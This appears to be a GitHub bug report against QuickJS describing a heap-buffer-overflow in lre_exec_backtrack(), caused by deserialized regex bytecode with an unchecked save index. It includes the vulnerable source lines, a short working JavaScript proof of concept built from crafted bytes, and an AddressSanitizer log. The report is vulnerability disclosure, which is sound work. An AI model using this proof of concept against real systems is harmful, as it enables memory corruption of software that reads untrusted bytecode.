Skip to content

heap-buffer-overflow in lre_exec_backtrack() via deserialized RegExp bytecode with out-of-bounds save index #1375

@zzjas

Description

@zzjas

Description

JS_ReadRegExp() stores regex bytecode verbatim without validating that REOP_save_start/REOP_save_end indices are within capture_count. The only guard is an assert() at libregexp.c:2252-2253, compiled out with NDEBUG. A crafted serialized regex can trigger a heap write far past the capture[] allocation.

quickjs/libregexp.c

Lines 2252 to 2254 in 610f849

val = *pc++;
assert(val < s->capture_count);
capture[2 * val + opcode - REOP_save_start] = (uint8_t *)cptr;

PoC

Requires --std. Run with ASAN release build or debug build:

var buf = new Uint8Array([
    0x17, 0x00, 0x11,        // BC_VERSION, atom_count=0, BC_TAG_REGEXP
    0x02, 0x78,              // pattern = "x"
    0x18,                    // bytecode len = 12
    0x00, 0x00, 0x01, 0x00,  // flags=0, capture_count=1, stack_size=0
    0x04, 0x00, 0x00, 0x00,  // bytecode_len=4
    0x05, 0x0C, 0x64, 0x0B  // REOP_any, REOP_save_start(100), REOP_match
]);
bjson.read(buf.buffer, 0, buf.length, 0).exec("a");

ASan log:

==1750466==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000001490 at pc 0x55fb5a0cfc26 bp 0x7ffcc4ad81e0 sp 0x7ffcc4ad81d8
WRITE of size 8 at 0x502000001490 thread T0
    #0 0x55fb5a0cfc25 in lre_exec_backtrack .../quickjs/libregexp.c:2254:57
    #1 0x55fb5a0cbc0d in lre_exec .../quickjs/libregexp.c:2528:11
    #2 0x55fb59fca201 in js_regexp_exec .../quickjs/quickjs.c:47442:14
    #3 0x55fb59ed15e2 in js_call_c_function .../quickjs/quickjs.c:17113:19
    #4 0x55fb59f14868 in JS_CallInternal .../quickjs/quickjs.c:17329:16
    #5 0x55fb59f183f1 in JS_CallInternal .../quickjs/quickjs.c:17787:27
    #6 0x55fb59feead8 in async_func_resume .../quickjs/quickjs.c:20225:12
    #7 0x55fb59feead8 in js_async_function_resume .../quickjs/quickjs.c:20480:16
    #8 0x55fb59f56044 in js_async_function_call .../quickjs/quickjs.c:20599:10
    ...

Thanks for looking into this and we appreciate any feedback!

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions